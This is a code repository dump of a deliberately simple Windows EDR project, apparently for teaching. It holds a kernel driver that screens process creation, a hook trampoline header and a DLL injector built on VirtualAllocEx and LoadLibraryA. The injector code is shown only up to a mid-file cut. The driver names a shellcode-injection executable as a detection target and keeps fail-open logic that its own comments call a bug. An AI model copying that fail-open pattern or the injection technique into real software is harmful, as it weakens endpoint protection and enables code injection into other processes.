19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 |
29 | #pragma once
30 |
31 | #pragma pack(push, 1)
32 |
33 | // Structs for writing x86/x64 instructions.
34 |
35 | // 8-bit relative jump.
36 | typedef struct _JMP_REL_SHORT
37 | {
38 | UINT8 opcode; // EB xx: JMP +2+xx
39 | UINT8 operand;
40 | } JMP_REL_SHORT, *PJMP_REL_SHORT;
41 |
42 | // 32-bit direct relative jump/call.
43 | typedef struct _JMP_REL
44 | {
45 | UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
46 | UINT32 operand; // Relative destination address
47 | } JMP_REL, *PJMP_REL, CALL_REL;
48 |
49 | // 64-bit indirect absolute jump.
50 | typedef struct _JMP_ABS
51 | {
52 | UINT8 opcode0; // FF25 00000000: JMP [+6]
53 | UINT8 opcode1;
54 | UINT32 dummy;
55 | UINT64 address; // Absolute destination address
56 | } JMP_ABS, *PJMP_ABS;
57 |
58 | // 64-bit indirect absolute call.
59 | typedef struct _CALL_ABS
60 | {
61 | UINT8 opcode0; // FF15 00000002: CALL [+6]
62 | UINT8 opcode1;
63 | UINT32 dummy0;
64 | UINT8 dummy1; // EB 08: JMP +10
65 | UINT8 dummy2;
66 | UINT64 address; // Absolute destination address
67 | } CALL_ABS;
68 |
69 | // 32-bit direct relative conditional jumps.
70 | typedef struct _JCC_REL
71 | {
72 | UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
73 | UINT8 opcode1;
74 | UINT32 operand; // Relative destination address
75 | } JCC_REL;
76 |
77 | // 64bit indirect absolute conditional jumps that x64 lacks.
78 | typedef struct _JCC_ABS
79 | {
80 | UINT8 opcode; // 7* 0E: J** +16
81 | UINT8 dummy0;
82 | UINT8 dummy1; // FF25 00000000: JMP [+6]
83 | UINT8 dummy2;
84 | UINT32 dummy3;
85 | UINT64 address; // Absolute destination address
86 | } JCC_ABS;
87 |
88 | #pragma pack(pop)
89 |
90 | typedef struct _TRAMPOLINE
91 | {
92 | LPVOID pTarget; // [In] Address of the target function.
93 | LPVOID pDetour; // [In] Address of the detour function.
94 | LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
95 |
96 | #if defined(_M_X64) || defined(__x86_64__)
97 | LPVOID pRelay; // [Out] Address of the relay function.
98 | #endif
99 | BOOL patchAbove; // [Out] Should use the hot patch area?
100 | UINT nIP; // [Out] Number of the instruction boundaries.
101 | UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
102 | UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
103 | } TRAMPOLINE, *PTRAMPOLINE;
104 |
105 | BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
106 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 |
3 | #include "pch.h"
4 |
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/pch.h:
--------------------------------------------------------------------------------
1 | // pch.h: This is a precompiled header file.
2 | // Files listed below are compiled only once, improving build performance for future builds.
3 | // This also affects IntelliSense performance, including code completion and many code browsing features.
4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds.
5 | // Do not add files here that you will be updating frequently as this negates the performance advantage.
6 |
7 | #ifndef PCH_H
8 | #define PCH_H
9 |
10 | // add headers that you want to pre-compile here
11 | #include "framework.h"
12 |
13 | #endif //PCH_H
14 |
--------------------------------------------------------------------------------
/MyDumbEDRDriver/Driver.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | // Needs to be set on the project properties as well
9 | #pragma comment(lib, "FltMgr.lib")
10 |
11 | // Maximum size of the buffers used to communicate via Named Pipes
12 | #define MESSAGE_SIZE 2048
13 |
14 | UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\\Device\\MyDumbEDR"); // Internal driver device name, cannot be used userland
15 | UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L"\\??\\MyDumbEDR"); // Symlink used to reach the driver, can be used userland
16 |
17 | /*
18 | This function is sending the path as well as the name of the binary being launched
19 | to the DumbEDRAnalyzer agent running in userland
20 | */
21 | int analyze_binary(wchar_t* binary_file_path) {
22 |
23 | UNICODE_STRING pipeName; // String containing the name of the named
24 | // Initialize a UNICODE_STRING structure containing the name of the named pipe
25 | RtlInitUnicodeString(
26 | &pipeName, // Variable in which we will store the UNICODE_STRING structure
27 | L"\\??\\pipe\\dumbedr-analyzer" // Wide string containing the name of the named pipe
28 | );
29 |
30 | HANDLE hPipe; // Handle that we will use to communicate with the named pipe
31 | OBJECT_ATTRIBUTES fattrs = { 0 }; // Objects Attributes used to store information when calling ZwCreateFile
32 | IO_STATUS_BLOCK io_stat_block; // IO status block used to specify the state of a I/O request
33 |
34 | // Initialize an OBJECT_ATTRIBUTE structure pointing to our named pipe
35 | InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x0200, 0, NULL);
36 |
37 | // Reads from the named pipe
38 | NTSTATUS status = ZwCreateFile(
39 | &hPipe, // Handle to the named pipe
40 | FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, // File attribute (we need both read and write)
41 | &fattrs, // Structure containing the file attribute
42 | &io_stat_block, // Structure containing the I/O queue
43 | NULL, // Allocation size, not needed in that case
44 | 0, // Specific files attributes (not needed as well
45 | FILE_SHARE_READ | FILE_SHARE_WRITE, // File sharing access
46 | FILE_OPEN, // Specify the action we want to do on the file
47 | FILE_NON_DIRECTORY_FILE, // Specifying that the file is not a directory
48 | NULL, // Always NULL
49 | 0 // Always zero
50 | );
51 |
52 | // If we can obtain a handle on the named pipe then
53 | if (NT_SUCCESS(status)) {
54 |
55 | // Now we'll send the binary path to the userland agent
56 | status = ZwWriteFile(
57 | hPipe, // Handle to the named pipe
58 | NULL, // Optionally a handle on an even object
59 | NULL, // Always NULL
60 | NULL, // Always NULL
61 | &io_stat_block, // Structure containing the I/O queue
62 | binary_file_path, // Buffer in which is stored the binary path
63 | MESSAGE_SIZE, // Maximum size of the buffer
64 | NULL, // Bytes offset (optional)
65 | NULL // Always NULL
66 | );
67 |
68 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwWriteFile: 0x%0.8x\n", status);
69 |
70 | /*
71 | This function is needed when you are running read/write files operation so that the kernel driver
72 | makes sure that the reading/writing phase is done and you can keep running the code
73 | */
74 |
75 | status = ZwWaitForSingleObject(
76 | hPipe, // Handle the named pipe
77 | FALSE, // Whether or not we want the wait to be alertable
78 | NULL // An optional timeout
79 | );
80 |
81 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwWaitForSingleObject: 0x%0.8x\n", status);
82 |
83 | wchar_t response[MESSAGE_SIZE] = { 0 };
84 | // Reading the respons from the named pipe (ie: if the binary is malicious or not based on static analysis)
85 | status = ZwReadFile(
86 | hPipe, // Handle to the named pipe
87 | NULL, // Optionally a handle on an even object
88 | NULL, // Always NULL
89 | NULL, // Always NULL
90 | &io_stat_block, // Structure containing the I/O queue
91 | &response, // Buffer in which to store the answer
92 | MESSAGE_SIZE, // Maximum size of the buffer
93 | NULL, // Bytes offset (optional)
94 | NULL // Always NULL
95 | );
96 |
97 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwReadFile: 0x%0.8x\n", status);
98 |
99 | // Waiting again for the operation to be completed
100 | status = ZwWaitForSingleObject(
101 | hPipe,
102 | FALSE,
103 | NULL
104 | );
105 |
106 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwWaitForSingleObject: 0x%0.8x\n", status);
107 |
108 | // Used to close a connection to the named pipe
109 | ZwClose(
110 | hPipe // Handle to the named pipe
111 | );
112 |
113 | if (wcscmp(response, L"OK\0") == 0) {
114 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " StaticAnalyzer: OK\n", response);
115 | return 0;
116 | }
117 | else {
118 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " StaticAnalyzer: KO\n", response);
119 | return 0;
120 | // return 1;
121 | }
122 | }
123 | else {
124 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " StaticAnalyzer unreachable. Allowing.\n");
125 | return 0;
126 | }
127 | }
128 |
129 | int inject_dll(int pid) {
130 | UNICODE_STRING pipeName; // String containing the name of the named
131 | // Initialize a UNICODE_STRING structure containing the name of the named pipe
132 | RtlInitUnicodeString(
133 | &pipeName, // Variable in which we will store the UNICODE_STRING structure
134 | L"\\??\\pipe\\dumbedr-injector" // Wide string containing the name of the named pipe
135 | );
136 |
137 | HANDLE hPipe; // Handle that we will use to communicate with the named pipe
138 | OBJECT_ATTRIBUTES fattrs = { 0 }; // Objects Attributes used to store information when calling ZwCreateFile
139 | IO_STATUS_BLOCK io_stat_block; // IO status block used to specify the state of a I/O request
140 |
141 | // Initialize an OBJECT_ATTRIBUTE structure pointing to our named pipe
142 | InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x0200, 0, NULL);
143 |
144 | // Reads from the named pipe
145 | NTSTATUS status = ZwCreateFile(
146 | &hPipe, // Handle to the named pipe
147 | FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, // File attribute (we need both read and write)
148 | &fattrs, // Structure containing the file attribute
149 | &io_stat_block, // Structure containing the I/O queue
150 | NULL, // Allocation size, not needed in that case
151 | 0, // Specific files attributes (not needed as well
152 | FILE_SHARE_READ | FILE_SHARE_WRITE, // File sharing access
153 | FILE_OPEN, // Specify the action we want to do on the file
154 | FILE_NON_DIRECTORY_FILE, // Specifying that the file is not a directory
155 | NULL, // Always NULL
156 | 0 // Always zero
157 | );
158 |
159 | // If we can obtain a handle on the named pipe then
160 | if (NT_SUCCESS(status)) {
161 |
162 | wchar_t pid_to_inject[MESSAGE_SIZE] = { 0 };
163 | swprintf_s(pid_to_inject, MESSAGE_SIZE, L"%d\0", pid);
164 | // Now we'll send the binary path to the userland agent
165 | status = ZwWriteFile(
166 | hPipe, // Handle to the named pipe
167 | NULL, // Optionally a handle on an even object
168 | NULL, // Always NULL
169 | NULL, // Always NULL
170 | &io_stat_block, // Structure containing the I/O queue
171 | pid_to_inject, // Buffer in which is stored the binary path
172 | MESSAGE_SIZE, // Maximum size of the buffer
173 | NULL, // Bytes offset (optional)
174 | NULL // Always NULL
175 | );
176 |
177 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwWriteFile: 0x%0.8x\n", status);
178 |
179 | /*
180 | This function is needed when you are running read/write files operation so that the kernel driver
181 | makes sure that the reading/writing phase is done and you can keep running the code
182 | */
183 |
184 | status = ZwWaitForSingleObject(
185 | hPipe, // Handle the named pipe
186 | FALSE, // Whether or not we want the wait to be alertable
187 | NULL // An optional timeout
188 | );
189 |
190 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwWaitForSingleObject: 0x%0.8x\n", status);
191 |
192 | wchar_t response[MESSAGE_SIZE] = { 0 };
193 | // Reading the response from the named pipe (ie: if the binary is malicious or not based on static analysis)
194 | status = ZwReadFile(
195 | hPipe, // Handle to the named pipe
196 | NULL, // Optionally a handle on an even object
197 | NULL, // Always NULL
198 | NULL, // Always NULL
199 | &io_stat_block, // Structure containing the I/O queue
200 | &response, // Buffer in which to store the answer
201 | MESSAGE_SIZE, // Maximum size of the buffer
202 | NULL, // Bytes offset (optional)
203 | NULL // Always NULL
204 | );
205 |
206 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwReadFile: 0x%0.8x\n", status);
207 |
208 | // Waiting again for the operation to be completed
209 | status = ZwWaitForSingleObject(
210 | hPipe,
211 | FALSE,
212 | NULL
213 | );
214 |
215 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ZwWaitForSingleObject: 0x%0.8x\n", status);
216 |
217 | // Used to close a connection to the named pipe
218 | ZwClose(
219 | hPipe // Handle to the named pipe
220 | );
221 |
222 | if (wcscmp(response, L"OK\0") == 0) {
223 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " RemoteInjector: OK\n", response);
224 | return 0;
225 | }
226 | else {
227 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " RemoteInjector: KO\n", response);
228 | return 1;
229 | }
230 | }
231 | else {
232 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " RemoteInjector unreachable. Allowing.\n");
233 | return 0;
234 | }
235 | }
236 |
237 | void CreateProcessNotifyRoutine(PEPROCESS parent_process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) {
238 | UNREFERENCED_PARAMETER(parent_process);
239 |
240 | PEPROCESS process = NULL;
241 | PUNICODE_STRING processName = NULL;
242 |
243 | PsLookupProcessByProcessId(pid, &process);
244 | SeLocateProcessImageName(process, &processName);
245 |
246 | // Never forget this if check because if you don't, you'll end up crashing your Windows system ;P
247 | if (createInfo != NULL) {
248 | createInfo->CreationStatus = STATUS_SUCCESS;
249 |
250 | // Retrieve parent process ID and process name
251 | PsLookupProcessByProcessId(createInfo->ParentProcessId, &parent_process);
252 | PUNICODE_STRING parent_processName = NULL;
253 | SeLocateProcessImageName(parent_process, &parent_processName);
254 |
255 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Process %wZ created\n", processName);
256 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " PID: %d\n", pid);
257 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " Created by: %wZ\n", parent_processName);
258 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " ImageBase: %ws\n", createInfo->ImageFileName->Buffer);
259 |
260 | POBJECT_NAME_INFORMATION objFileDosDeviceName;
261 | IoQueryFileDosDeviceName(createInfo->FileObject, &objFileDosDeviceName);
262 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " DOS path: %ws\n", objFileDosDeviceName->Name.Buffer);
263 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " CommandLine: %ws\n", createInfo->CommandLine->Buffer);
264 |
265 | // Compare the image base of the launched process to the dump_lasss string
266 | if (wcsstr(createInfo->ImageFileName->Buffer, L"ShellcodeInject.exe") != NULL) {
267 |
268 | // Checks if the notepad keyword is found in the CommandLine
269 | if (wcsstr(createInfo->CommandLine->Buffer, L"notepad.exe") != NULL) {
270 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " State: DENIED command line\n");
271 | createInfo->CreationStatus = STATUS_ACCESS_DENIED;
272 | return;
273 | }
274 |
275 | if (createInfo->FileOpenNameAvailable && createInfo->ImageFileName) {
276 | int analyzer_ret = analyze_binary(objFileDosDeviceName->Name.Buffer);
277 | if (analyzer_ret == 0) {
278 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " State: Sending to injector\n");
279 | int injector_ret = inject_dll((int)(intptr_t)pid);
280 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " State: return injector '%d'\n", injector_ret);
281 |
282 | if (injector_ret == 0) {
283 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " State: PROCESS ALLOWED\n");
284 | createInfo->CreationStatus = STATUS_SUCCESS;
285 | return;
286 | }
287 | else {
288 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " State: PROCESS DENIED\n");
289 | createInfo->CreationStatus = STATUS_ACCESS_DENIED;
290 | return;
291 | }
292 | }
293 | else {
294 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, " State: Denied by StaticAnalyzer\n");
295 | createInfo->CreationStatus = STATUS_ACCESS_DENIED;
296 | return;
297 | }
298 | }
299 | }
300 | }
301 | // Logical bug here, if the agent is not running, the driver will always allow the creation of the process
302 | else {
303 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Process %wZ killed\n", processName);
304 | }
305 | }
306 |
307 | void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
308 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[MyDumbEDR] Unloading routine called\n");
309 | // Unset the callback
310 | PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)CreateProcessNotifyRoutine, TRUE);
311 | // Delete the driver device
312 | IoDeleteDevice(DriverObject->DeviceObject);
313 | // Delete the symbolic link
314 | IoDeleteSymbolicLink(&SYM_LINK);
315 | }
316 |
317 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
318 | // Prevent compiler error such as unreferenced parameter (error 4)
319 | UNREFERENCED_PARAMETER(RegistryPath);
320 |
321 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Initializing the EDR's driver\n");
322 |
323 | // Variable that will store the output of WinAPI functions
324 | NTSTATUS status;
325 |
326 | // Setting the unload routine to execute
327 | DriverObject->DriverUnload = UnloadMyDumbEDR;
328 |
329 | // Initializing a device object and creating it
330 | PDEVICE_OBJECT DeviceObject;
331 | UNICODE_STRING deviceName = DEVICE_NAME;
332 | UNICODE_STRING symlinkName = SYM_LINK;
333 | status = IoCreateDevice(
334 | DriverObject, // our driver object,
335 | 0, // no need for extra bytes,
336 | &deviceName, // the device name,
337 | FILE_DEVICE_UNKNOWN, // device type,
338 | 0, // characteristics flags,
339 | FALSE, // not exclusive,
340 | &DeviceObject // the resulting pointer
341 | );
342 |
343 | if (!NT_SUCCESS(status)) {
344 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Device creation failed\n");
345 | return status;
346 | }
347 |
348 | // Creating the symlink that we will use to contact our driver
349 | status = IoCreateSymbolicLink(&symlinkName, &deviceName);
350 | if (!NT_SUCCESS(status)) {
351 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Symlink creation failed\n");
352 | IoDeleteDevice(DeviceObject);
353 | return status;
354 | }
355 |
356 | NTSTATUS ret = PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE);
357 | if (ret == STATUS_SUCCESS) {
358 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Driver launched successfully\n");
359 | }
360 | else if (ret == STATUS_INVALID_PARAMETER) {
361 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Invalid parameter\n");
362 | }
363 | else if (ret == STATUS_ACCESS_DENIED) {
364 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[MyDumbEDR] Access denied\n");
365 | }
366 |
367 | return 0;
368 | }
--------------------------------------------------------------------------------
/MyDumbEDRDriver/MyDumbEDRDriver.inf:
--------------------------------------------------------------------------------
1 | ;
2 | ; MyDumbEDRDriver.inf
3 | ;
4 |
5 | [Version]
6 | Signature="$WINDOWS NT$"
7 | Class=System ; TODO: specify appropriate Class
8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid
9 | Provider=%ManufacturerName%
10 | CatalogFile=MyDumbEDRDriver.cat
11 | DriverVer= ; TODO: set DriverVer in stampinf property pages
12 | PnpLockdown=1
13 |
14 | [DestinationDirs]
15 | DefaultDestDir = 12
16 | MyDumbEDRDriver_Device_CoInstaller_CopyFiles = 11
17 |
18 | [SourceDisksNames]
19 | 1 = %DiskName%,,,""
20 |
21 | [SourceDisksFiles]
22 | MyDumbEDRDriver.sys = 1,,
23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames
24 |
25 | ;*****************************************
26 | ; Install Section
27 | ;*****************************************
28 |
29 | [Manufacturer]
30 | %ManufacturerName%=Standard,NT$ARCH$
31 |
32 | [Standard.NT$ARCH$]
33 | %MyDumbEDRDriver.DeviceDesc%=MyDumbEDRDriver_Device, Root\MyDumbEDRDriver ; TODO: edit hw-id
34 |
35 | [MyDumbEDRDriver_Device.NT]
36 | CopyFiles=Drivers_Dir
37 |
38 | [Drivers_Dir]
39 | MyDumbEDRDriver.sys
40 |
41 | ;-------------- Service installation
42 | [MyDumbEDRDriver_Device.NT.Services]
43 | AddService = MyDumbEDRDriver,%SPSVCINST_ASSOCSERVICE%, MyDumbEDRDriver_Service_Inst
44 |
45 | ; -------------- MyDumbEDRDriver driver install sections
46 | [MyDumbEDRDriver_Service_Inst]
47 | DisplayName = %MyDumbEDRDriver.SVCDESC%
48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER
49 | StartType = 3 ; SERVICE_DEMAND_START
50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL
51 | ServiceBinary = %12%\MyDumbEDRDriver.sys
52 |
53 | ;
54 | ;--- MyDumbEDRDriver_Device Coinstaller installation ------
55 | ;
56 |
57 | [MyDumbEDRDriver_Device.NT.CoInstallers]
58 | AddReg=MyDumbEDRDriver_Device_CoInstaller_AddReg
59 | CopyFiles=MyDumbEDRDriver_Device_CoInstaller_CopyFiles
60 |
61 | [MyDumbEDRDriver_Device_CoInstaller_AddReg]
62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller"
63 |
64 | [MyDumbEDRDriver_Device_CoInstaller_CopyFiles]
65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll
66 |
67 | [MyDumbEDRDriver_Device.NT.Wdf]
68 | KmdfService = MyDumbEDRDriver, MyDumbEDRDriver_wdfsect
69 | [MyDumbEDRDriver_wdfsect]
70 | KmdfLibraryVersion = $KMDFVERSION$
71 |
72 | [Strings]
73 | SPSVCINST_ASSOCSERVICE= 0x00000002
74 | ManufacturerName="" ;TODO: Replace with your manufacturer name
75 | DiskName = "MyDumbEDRDriver Installation Disk"
76 | MyDumbEDRDriver.DeviceDesc = "MyDumbEDRDriver Device"
77 | MyDumbEDRDriver.SVCDESC = "MyDumbEDRDriver Service"
78 |
--------------------------------------------------------------------------------
/MyDumbEDRDriver/MyDumbEDRDriver.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 | Debug
14 | ARM64
15 |
16 |
17 | Release
18 | ARM64
19 |
20 |
21 |
22 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}
23 | {1bc93793-694f-48fe-9372-81e2b05556fd}
24 | v4.5
25 | 12.0
26 | Debug
27 | x64
28 | MyDumbEDRDriver
29 |
30 |
31 |
32 | Windows10
33 | true
34 | WindowsKernelModeDriver10.0
35 | Driver
36 | KMDF
37 | Universal
38 |
39 |
40 | Windows10
41 | false
42 | WindowsKernelModeDriver10.0
43 | Driver
44 | KMDF
45 | Universal
46 |
47 |
48 | Windows10
49 | true
50 | WindowsKernelModeDriver10.0
51 | Driver
52 | KMDF
53 | Universal
54 |
55 |
56 | Windows10
57 | false
58 | WindowsKernelModeDriver10.0
59 | Driver
60 | KMDF
61 | Universal
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | DbgengKernelDebugger
73 |
74 |
75 | DbgengKernelDebugger
76 |
77 |
78 | DbgengKernelDebugger
79 |
80 |
81 | DbgengKernelDebugger
82 |
83 |
84 |
85 | sha256
86 |
87 |
88 | /integritycheck %(AdditionalOptions)
89 |
90 |
91 |
92 |
93 | sha256
94 |
95 |
96 |
97 |
98 | sha256
99 |
100 |
101 |
102 |
103 | sha256
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
--------------------------------------------------------------------------------
/MyDumbEDRDriver/MyDumbEDRDriver.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Driver Files
24 |
25 |
26 |
27 |
28 | Source Files
29 |
30 |
31 |
--------------------------------------------------------------------------------
/MyDumbEDRDriver/MyDumbEDRDriver.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/MyDumbEDRRemoteInjector/MyDumbEDRRemoteInjector.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #define MESSAGE_SIZE 2048
5 | #define MAX_PATH 260
6 |
7 | int main() {
8 | LPCWSTR pipeName = L"\\\\.\\pipe\\dumbedr-injector";
9 | DWORD bytesRead = 0;
10 | wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
11 |
12 | char dll_path[] = "x64\\Debug\\MyDumbEDRDLL.dll";
13 | char dll_full_path[MAX_PATH];
14 | GetFullPathNameA(dll_path, MAX_PATH, dll_full_path, NULL);
15 | printf("Launching injector named pipe server, injecting %s\n", dll_full_path);
16 |
17 |
18 | // Creates a named pipe
19 | HANDLE hServerPipe = CreateNamedPipe(
20 | pipeName, // Pipe name to create
21 | PIPE_ACCESS_DUPLEX, // Whether the pipe is supposed to receive or send data (can be both)
22 | PIPE_TYPE_MESSAGE, // Pipe mode (whether or not the pipe is waiting for data)
23 | PIPE_UNLIMITED_INSTANCES, // Maximum number of instances from 1 to PIPE_UNLIMITED_INSTANCES
24 | MESSAGE_SIZE, // Number of bytes for output buffer
25 | MESSAGE_SIZE, // Number of bytes for input buffer
26 | 0, // Pipe timeout
27 | NULL // Security attributes (anonymous connection or may be needs credentials. )
28 | );
29 |
30 | while (TRUE) {
31 |
32 | // ConnectNamedPipe enables a named pipe server to start listening for incoming connections
33 | BOOL isPipeConnected = ConnectNamedPipe(
34 | hServerPipe, // Handle to the named pipe
35 | NULL // Whether or not the pipe supports overlapped operations
36 | );
37 |
38 | wchar_t message[MESSAGE_SIZE] = { 0 };
39 |
40 | if (isPipeConnected) {
41 |
42 | // Read from the named pipe
43 | ReadFile(
44 | hServerPipe, // Handle to the named pipe
45 | &message, // Target buffer where to stock the output
46 | MESSAGE_SIZE, // Size of the buffer
47 | &bytesRead, // Number of bytes read from ReadFile
48 | NULL // Whether or not the pipe supports overlapped operations
49 | );
50 |
51 | // Casting the message into a DWORD
52 | DWORD target_pid = _wtoi(message);
53 | printf("~> Received process id %d\n", target_pid);
54 |
55 | // Opening the process with necessary privileges
56 | HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, target_pid);
57 | if (hProcess == NULL) {
58 | printf("Can't open handle, error: % lu\n", GetLastError());
59 | return FALSE;
60 | }
61 | printf("\tOpen handle on PID: %d\n", target_pid);
62 |
63 | // Looking for the LoadLibraryA function in the kernel32.dll
64 | FARPROC loadLibAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
65 | if (loadLibAddress == NULL) {
66 | printf("Could not find LoadLibraryA, error: %lu\n", GetLastError());
67 | return FALSE;
68 | }
69 | printf("\tFound LoadLibraryA function\n");
70 |
71 | // Allocating some RWX memory
72 | LPVOID vae_buffer;
73 | vae_buffer = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
74 | if (vae_buffer == NULL){
75 | printf("Can't allocate memory, error: %lu\n", GetLastError());
